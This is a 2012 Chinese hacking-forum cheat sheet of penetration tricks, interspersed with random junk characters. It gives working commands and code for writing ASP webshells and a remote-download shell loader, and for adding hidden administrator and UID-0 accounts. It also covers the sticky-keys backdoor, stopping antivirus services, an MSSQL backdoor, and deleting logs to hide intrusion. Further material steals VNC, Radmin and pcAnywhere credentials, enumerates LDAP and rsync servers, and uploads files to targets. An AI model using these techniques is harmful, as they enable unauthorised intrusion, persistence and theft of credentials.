中国网络渗透测试联盟

标题: 渗透技巧总结 [打印本页]

---

作者: admin    时间: 2012-9-5 15:00
标题: 渗透技巧总结
旁站路径问题
1、读网站配置。
2、用以下VBS
On Error Resume Next
) Y9 o; i0 c+ `' j) T  o! fIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
+ ~6 g8 d) B! \7 v- C" J
2 D! X/ J$ v: D8 w( l4 O) dMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

2 e. O' ]* \8 }Usage:Cscript vWeb.vbs",4096,"Lilo"
/ R' v, x4 r5 w1 Y% }0 R        WScript.Quit
5 l" {2 a+ K8 u1 k7 tEnd If
4 \! }! h0 K- @- C* m2 x6 fSet ObjService=GetObject
: H/ ?- D" Q1 O) ?
("IIS://LocalHost/W3SVC")
5 P' R6 ]# Z) X# ~1 P3 qFor Each obj3w In objservice
7 S9 T  ]# Q& H* \3 [8 a' ]2 {' W( m        If IsNumeric(obj3w.Name)
% P% `/ ]! ~9 d4 ]. y
Then
$ p$ d3 ]. F& p                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
7 c/ g( H: e3 @# c2 Z                If Err
. ^" c% ]0 ^; G: H
, {/ J& I5 V$ {( f<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
$ g& e0 r* h/ C* J/ z! ?. [5 v- u' p                For Each Binds In OService.ServerBindings
     
! P- J- _( c2 n$ S0 @& F! d
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
! Y  X1 E5 G  \, Y- [                        
8 Z: j0 d/ r: l- b. U" y
WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
$ i" D1 k& u& d9 ~% r' V7 T6 P                Next
      
" P; _% x9 {. ?2 [: _2 J* c& F
6 F. y  q/ f# L: W0 l+ N7 L         WScript.Echo "ath            : " & VDirObj.Path
$ H( d* P% z3 r: L/ O        End If
Next
复制代码
; U/ ~  t% m  C$ Y3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
% J/ U; d  j6 c3 n: o5 Z4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
( P1 P7 V8 {( H4 v  @2 J—————————————————————
4 U2 D0 ?$ u" ZWordPress的平台，爆绝对路径的方法是：
8 k2 e; r  p: v8 g9 N% ]url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
; l9 w4 k  D* c1 {2 GphpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
1 R" B/ M6 l- s) k- {6 A% e, Hphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
0 H' ?$ V& g6 M/ j网站可能目录(注：一般是虚拟主机类）
9 t+ |( p; P. y) i( ndata/htdocs.网站/网站/
+ K7 W/ _) y7 _. T+ ^; C————————————————————
3 o4 ~) V. z! {* v# K: zCMD下操作VPN相关
6 H+ D$ U* g+ ]netsh ras set user administrator permit #允许administrator拨入该VPN
; P" `$ h- |+ znetsh ras set user administrator deny #禁止administrator拨入该VPN
4 L0 L* n4 h5 e1 p' O2 B/ [7 fnetsh ras show user #查看哪些用户可以拨入VPN
: X; a' e: y8 H$ ^1 Jnetsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
! z8 N1 h3 t% N& y5 @$ P7 lnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
7 i' B1 S6 U. Z/ t9 A9 G————————————————————
/ H: X; c% J( [8 _* I+ @命令行下添加SQL用户的方法
! M& u' @5 K/ V需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
! d5 H3 N, `, bEXEC sp_addsrvrolemember 'test, 'sysadmin'
& q- ^" \( ~( l% T. h然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

6 r+ j* U, m5 `! |' @另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
1 }! u/ t' j  G- D. p& o; Sjs:
+ o( i: ]$ ~  K6 s  G& p, t4 Fvar o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
5 ^( H! \5 L' n2 J6 U
vbs:
Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
7 h) y: V4 `; w/ ]3 h8 F6 p7 jz.changePassword "123456",""
0 o$ C# C6 `( I# v7 ]2 Wz.setting("AccountType")=3
5 H% T" K; r0 H  x4 x6 ]  k——————————————————
8 ^) j  v- D. Y6 q; c0 f" p9 `cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
, _! }# X. K2 W, t+ O3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
& Y4 D3 k2 Z0 S4 u- R3 t: ~; g( E; i2003 运行mstsc /console   

! D1 P. ~: Z# B1 F杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
9 u7 x; E6 g9 o( L2 K  L* Snet stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
- D! Q; C' O/ W6 g* Tnet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
9 }2 A7 D5 Q4 m) T. a) B3 u
$ [( T2 v. D  m% g, b* u卖咖啡：net stop "McAfee McShield"
————————————————————
/ Z; j4 d1 Q- @5 N! ]9 ~/ H( t
5次SHIFT：
* ]' x: k, g. e5 S5 b. Fcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
7 b; l8 t" U6 {copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
& b) `- {- r6 }  Y. c1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
! S" C4 }- C+ e, b7 ?2、导出注册表SAM下用户的两个键值
, s  |8 f1 Z/ \& `" o7 C0 _. |' e3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
0 y5 @5 T% R/ ]! g" N& _——————————————————————
MSSQL扩展后门：
8 ?" O" K* R5 l4 R% i- M2 j3 uUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
1 m- N7 G* n& d+ b7 D' B  e2 B———————————————————————
日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
) m- y& G0 C! b* d: W, I不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
* c/ {' i2 H  [; k# C当停止msftpsvc服务后可直接删除ex011124.log
& l9 T5 k0 b% Y# ?, Y
9 u2 v1 k( ?3 o! Y% @# JMSSQL查询分析器连接记录清除：
" c3 m. Q' E7 \' B/ mMSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
# k. \5 _5 W7 U7 k, R' t9 E找到接接过的信息删除。
6 a3 V2 j- M" h, h( H8 b8 ~MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
—————————————————————————
; o. w7 a% \# X防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

4 k3 m% v1 I1 r9 L3 o<%
* m( ^0 ?$ A  e" l& XSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
: M* h3 W! R% \. c* @1 j; M& XWith Retrieval
* |9 c1 o1 X* V3 p2 a: z1 D5 f/ {; j.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
+ S$ t+ Z% m) k/ n3 [GetRemoteData = .ResponseBody
' T; V8 C  d$ c& \( k; YEnd With
Set Retrieval = Nothing
5 E; n! ]8 {& H7 v- bSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
; s0 L, r* i( T.Type = 1
/ G3 K* L7 H/ \. F* w.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
# r- m( Q- d; I; ].Close()
2 }- ]# i3 f' [% O9 _End With
Set Ads=nothing
% u5 a* m( [( ^& N; n1 T. x4 E, IEnd Sub
% h( n* T& C* L: B6 X* R' v
( B, A/ H% Z8 leWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
4 w1 m: B) B+ _7 u+ u%>

& r! t2 n! J: [VNC提权方法:
9 |1 j: _% k" v" B  j, k利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
) Z2 D" A) O0 Q6 w4 N8 b* Iregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
# ~6 y+ `1 @  [0 `Radmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
  e- A/ n* J6 @/ K' H, O  y9 ]. wHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
/ v4 f2 P3 H# T- i/ @4 \& n然后用HASH版连接。
4 u8 H/ d( q5 W% p如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
* j& w2 c! |6 ?7 I% `0 K保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
9 ]2 Q- f$ p3 a" x/ ?Users\Application Data\Symantec\pcAnywhere\文件夹下。
" d5 v+ {' N' ]+ b——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
/ e, w! @6 T, _  C2 R$ Q  r' r/ N8 h$ a7i24的web目录也是可写，权限为administrator。

6 V& a4 ]# I3 {0 f1433 SA点构建注入点。
<%
5 J/ A  B9 B1 i; Z5 e1 |strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
+ }2 N6 w- l4 ~* oSet conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
7 S; i6 {& Y) k, @( i
7 t5 D' U0 g# e' d6 R" D# J";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

strSQLDBName & ";"
4 W# f) a1 y- i1 _* [2 nconn.open strCon
% |' ^# y. s! A4 [+ Zdim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
2 n1 x' y( y/ B( [: k6 v: c& fstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
6 |2 P% I# U  n复制代码
******liunx 相关******
/ k. M4 s& V! u9 J6 C+ [( v一.ldap渗透技巧
6 h% S) z- q; M1.cat /etc/nsswitch
; v' p, }- h6 ?* P% a: y' z" n0 e. H看看密码登录策略我们可以看到使用了file ldap模式

- U+ M/ ~" o; j% H( ^+ f2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
. N, i  L2 N: `0 s& P/ r$ @) B找到ou,dc,dc设置

3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
8 p& y% h4 R$ V* h
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
8 K4 H4 p# I8 {9 m/ a$ w  P有密码形式
, [2 p6 [: h" }  }ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
% M( Z4 \- W' S7 ]7 v
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
3 R- m$ O) e; ?& o
% e, J8 X2 A. {1 z* |
4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
  W- e* P5 U" d' S: z) t- p# s
实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

' q7 G1 f, G+ P  o0 S/ }9 p2.less /etc/ldap.conf
$ I: m# ^/ }$ q. Z6 [! xbase ou=People,dc=unix-center,dc=net
2 l/ d9 C7 H: r! @% M找到ou,dc,dc设置

- k2 k& ^0 v) F3.查找管理员信息
匿名方式
+ Q+ f# q# n, Qldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
1 h/ d# C: E* G
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
" w0 g! D( w5 d. a$ }% B: t

) X) u5 n- e- L* C, m4.查找10条用户记录
% U/ i: o, Q9 q: h8 ^3 ildapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

' S2 y4 A: t, _' [! x) h+ K2 e5 ]/ e- Z渗透实战:
8 P* F% L/ V, P1.返回所有的属性
! I- D  j4 M4 E* {1 _8 J8 U. kldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
' P) L) W+ |" H: X$ Q5 |, w0 u' }version: 1
) J, R- O( b' _dn: dc=ruc,dc=edu,dc=cn
dc: ruc
$ c/ h) I5 I2 A  s  w: J0 `' IobjectClass: domain
) M3 q% B" d4 N8 L& @; N1 D* }% n
- ~9 J, i5 D, k' kdn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
" _5 r' O, v6 k2 QobjectClass: person
( I! O" Q% c# z( _. f, D! I' k# t/ }objectClass: top
sn: manager
cn: manager
+ R/ i0 C: y2 f3 D$ Z4 }+ E2 w
+ e! ]( G; ]3 t7 z3 T7 n! @* ~* {dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
sn: superadmin
% o$ }9 @9 h# V" Q/ Dcn: superadmin
$ ?: |3 I2 ^9 w5 J+ _( O
dn: uid=admin,dc=ruc,dc=edu,dc=cn
( L7 H" A, F0 h. e% u8 S- Juid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
, T" f# Q2 _( P3 JobjectClass: person
objectClass: top
sn: admin
9 B4 {' P4 o# ^( t# Kcn: admin
$ q, n+ I5 q! D7 s$ M
8 I- B% c+ r" Y  N. ~1 [) a6 g+ Adn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
objectClass: person
" l& M8 A: b$ e# T4 v6 D2 }objectClass: organizationalPerson
objectClass: inetOrgPerson
7 D3 n0 j! {- }/ h# Q" I8 l1 G1 vsn: dcp_anonymous
cn: dcp_anonymous

2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
. U# i, ]2 T  x
7 v5 z6 T& `3 W9 h2 K( k' qmore
version: 1
dn: dc=ruc,dc=edu,dc=cn
. S: E2 K- D8 `dc: ruc
6 {& a& b" D" ZobjectClass: domain

3.查找
6 P' O. r6 Q" S' W7 |bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
- k8 U* g! F6 i' `. _( T* xdn:
% a! G- e  H1 f! RobjectClass: top
$ B" D7 Y2 \+ F% R6 N7 C) OnamingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
  U6 q) c" B& V, T* N; Y( YsupportedExtension: 2.16.840.1.113730.3.5.5
/ l3 E  M, C7 T+ o* D1 HsupportedExtension: 2.16.840.1.113730.3.5.6
1 N0 ~$ h2 u8 e6 l3 {supportedExtension: 2.16.840.1.113730.3.5.4
! i4 `/ ~; {& e( }supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
0 h( C9 d: v9 B9 {9 M6 PsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
/ Y5 ?& D' z1 w6 esupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
& |! W3 _# M& u1 q/ [) Y; ^0 IsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
) I+ F7 b' S6 j( C5 C% psupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
( u& P# H1 l% ?# qsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
# S' j% W. q; F2 AsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
/ x; x; `. X0 W. V1 [supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
, g( c7 ?# u/ ]  z8 LsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
* i5 @! u! a: {  |) dsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
) m: m- N6 L- \7 L; b2 SsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
  K' O2 |+ O" Z# Z! m+ tsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
, A8 {( O) Z$ I% XsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
  Y0 U2 m7 N# V' H, C/ L; WsupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
) @" n3 k7 B- a2 a. }; r6 TsupportedControl: 2.16.840.1.113730.3.4.16
' w" T0 r2 o# ssupportedControl: 2.16.840.1.113730.3.4.15
5 f# `/ _) g% N: @0 I3 m  }/ ssupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
9 ?) [4 p4 d$ X. a' GsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
9 [+ u3 T1 I3 w+ VsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
, Y9 X0 d( o. W, y5 m. psupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
* U: u) |9 I3 b" v" csupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
- [8 `0 x: o. X: X+ @supportedControl: 2.16.840.1.113730.3.4.12
! r* ], `: t2 B; tsupportedControl: 2.16.840.1.113730.3.4.18
( l7 ^, D4 [" X4 G4 Z3 m- R7 ^' {+ B' [2 tsupportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
2 k3 g4 C' ?) ~6 v+ D+ G* J$ TsupportedLDAPVersion: 2
, `2 h; o+ R. o5 U  T; _supportedLDAPVersion: 3
$ T: J' E7 k. pvendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
# @* G5 y6 _3 Z4 }) k5 ^+ Hnetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
: P. o' h& k: K! f. }supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
9 k* u* }, f) j' Z9 @supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
7 u. u8 n7 @4 {. qsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
9 ]+ j1 z3 g$ d$ c# esupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
8 b$ V- A, d7 ~, U3 Q& `supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
% y; n8 l0 D, o" MsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
, q- v" W3 i! q/ w7 GsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
; L) x- r; }  h% |supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
+ S" X$ L) f" A$ [$ b$ jsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
2 S. Q  m6 A' E0 i5 QsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
; J' L1 F1 N% @+ [supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
  w( k; I8 \7 S) M  tsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
: H) R# I; f+ NsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
0 U9 ?3 r" T9 c2 Z( c! I- _4 LsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
6 h8 N" L# S) ~1 j8 t* F- Z, YsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
/ p8 T9 D) S, V$ {supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
! r8 ?# b0 c9 _9 G" v; d+ GsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
1 I( e8 E0 ]: s; LsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
7 `$ z* U4 e' w" h- C1 @7 Y6 ssupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
1 |: M; M: U! b3 R9 |supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
8 X1 M! P, r/ O6 V) msupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
2 ~1 {% r. w0 Y' f& a+ LsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
6 s$ U* L/ u. n" \7 usupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
/ J' @1 q& V6 G; Y# _6 I0 J$ H- qsupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
1 K; k8 k( _! |# ?+ DsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
& o( ^" ^: q" e1 u, u- a0 jsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
& O, S: M5 }1 ]$ IsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
9 ?3 W& R" ], |————————————
2. NFS渗透技巧
showmount -e ip
- k. R. w0 u" B列举IP
——————
2 \8 z4 [3 {+ B; s3.rsync渗透技巧
+ \3 m/ K2 @/ @( G# R1.查看rsync服务器上的列表
rsync 210.51.X.X::
, L' t4 e; O; ~9 g4 _& Z  Rfinance
img_finance
1 j; w7 s4 ^# O! bauto
img_auto
html_cms
img_cms
ent_cms
0 w. W- @) Z$ l( |ent_img
$ V3 ~5 M, e! W/ Hceshi
" h/ Z# ?% p3 ?- @9 g1 X5 x/ Z5 M8 N" ires_img
res_img_c2
chip
chip_c2
+ S: O: P# V/ [( bent_icms
( f4 z0 @. q  m# Z& {games
6 K/ D1 T5 V' \& l- W" ?5 ugamesimg
media
mediaimg
fashion
( d8 Y$ v2 a. r% N, N8 M6 n' Y# Rres-fashion
res-fo
$ n) Y0 j9 u7 m+ l: dtaobao-home
. O* H; h- [* k, b! Q9 wres-taobao-home
house
. a5 W+ V& K2 k/ _" X: Fres-house
3 K) u$ r1 \1 Pres-home
( r& D3 ~1 [& ]* A  B0 Cres-edu
4 X* t* A" a) {8 H' d  sres-ent
& f4 S; U5 Q# d. F7 pres-labs
res-news
7 g2 K$ \% q2 @! tres-phtv
res-media
/ t: U8 L& M! Q9 O' _home
' B' f4 F5 M0 e& r4 medu
5 ]" O* s6 j0 c: q7 a3 qnews
res-book

7 }% j: f9 G  A2 X! s% X! p% a看相应的下级目录(注意一定要在目录后面添加上/)
$ s0 Z' x* {* d. z& \

& i1 n2 v" K$ p  {rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
9 _3 N6 W9 a% [9 b5 irsync 210.51.X.X::edu/
- h! T4 k2 r; i. _1 Y0 ~* M
2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

' \( t+ l  p8 p% o3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
/ y) B; Q$ V- f4 p& z1 uhttp://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
5 [" o6 T; s& d1 K6 Inc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
8 M6 d" i! W) ZGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
5 Z2 x& Y" D( m) n* h7 [
  r7 d& d: ?4 @六.joomla渗透小技巧
/ a1 C% d+ M: Q  O8 b2 r确定版本
( t! Q& S+ ~1 n! {index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
( e' w7 _9 h+ A, T( s9 p+ W$ }
15&catid=32:languages&Itemid=47
% l7 Z; w1 {; g) }3 i
重新设置密码
index.php?option=com_user&view=reset&layout=confirm

6 t* k* V" `& D: M. v' S7 D七: Linux添加UID为0的root用户
useradd -o -u 0 nothack
4 {' h' Q7 u6 E# r% w
八.freebsd本地提权
+ U" `% D% I4 y: _* C' H. Z$ D* L' B. G[argp@julius ~]$ uname -rsi
* a" @. e% C  b9 i$ Y0 ^* freebsd 7.3-RELEASE GENERIC
" d* p7 q8 ~) ]  d% X* [argp@julius ~]$ sysctl vfs.usermount
7 W: G  Z$ t: x, ]! k5 M: j2 p* vfs.usermount: 1
9 X! T8 ^( K! n1 O9 l  S% Q* [argp@julius ~]$ id
